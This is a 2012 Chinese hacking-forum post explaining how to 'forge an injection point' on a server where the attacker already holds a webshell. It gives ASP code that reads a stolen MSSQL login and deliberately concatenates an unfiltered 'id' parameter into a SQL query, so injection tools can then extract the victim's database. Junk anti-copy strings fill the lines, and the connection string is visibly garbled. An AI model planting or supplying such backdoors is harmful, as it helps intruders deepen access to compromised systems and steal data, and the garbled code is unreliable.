中国网络渗透测试联盟
标题:
伪造注入点方法
[打印本页]
作者:
admin
时间:
2012-9-13 17:53
标题:
伪造注入点方法
首先你要拿了一个webshell,这样你找到连接数据库的文件,大多都是conn.asp这个文件里面有mssql的用户和密码,你要找到用户名、密码、数据库所在的IP,然后连接上去,至于连接大家应该都会,找到网站管理员的表。因为我测试的时候是用管理员的表,我朋友说任何表名都可以,只要这个表存在,代码如下:
) q, ~1 w( ~% V
ASP/Visual Basic代码
0 F5 z$ u2 B: a2 E0 J
<!--#include file="xx.asp"-->
. n2 V# g1 j& n2 r f) M
<%
. | n% _% c' @' k8 z& y) j
set rs=server.createobject("ADODB.recordset")
/ Q% c. b4 X# m& `, B. C$ \
id = request("id")
+ M! X8 d! z) e3 W: X$ ^( z, Z
strSQL = "select * from admin where id=" & id
* S0 ]* v6 |# t; \! t5 z8 v
rs.open strSQL,conn,1,3
/ U- o f8 f6 h6 G
rs.close
% @; J& A: k$ @+ T5 F9 [! q' J$ @
%>
+ ~6 v+ H1 m1 u; ]
把strSQL = "select * from admin where id=" & id 这句话里面的admin换成要伪造的表名,注意必须存在。你可以连接上去看下表名就是了!这里假设的是admin是表名!这个文件名随便保存!
' d7 Z2 v, T6 Z8 `/ S/ W- f p4 O
然后就要构造一个连接数据库的文件了,代码如下:
" {1 Z3 u% h8 G9 c) n" ?
ASP/Visual Basic代码
5 \0 U' j4 C, }7 r" V
<%
1 {" ~! B( ?0 z& c& [0 U
strSQLServerName = "000.000.000.000" '服务器名称或地址
) \0 V6 j) Q) A8 m9 B
strSQLDBUserName = "sqlname" '数据库帐号
& \: r! O- j% G7 D/ l
strSQLDBPassword = "sqlpass" '数据库密码
: Q! x; |1 w( c* }& z
strSQLDBName = "sqldataname" '数据库名称
: y/ D; u# `, h) S6 [5 c
Set conn = Server.CreateObject("ADODB.Connection")
& Z0 ]& k7 Y: q, T9 r: P
strCon = "rovider=SQLOLEDB.1ersist Security Info=False;Server=" & strSQLServerName & ";User ID=" & strSQLDBUserName & "assword=" & strSQLDBPassword & ";Database=" & strSQLDBName & ";"
2 |) \$ N, h2 ~8 P+ K" o. D
conn.open strCon
/ b* ^2 F, j: k' B, V8 r: F
%>
4 \3 a5 }' i/ l
这里应该都会了,就不罗嗦了,不过注意的是保存的文件名要和include调用的名字一样。就这样,正常情况下,就OK了,伪造成功
0 o4 u, } M4 Z1 J7 v
欢迎光临 中国网络渗透测试联盟 (https://www.cobjon.com/)
Powered by Discuz! X3.2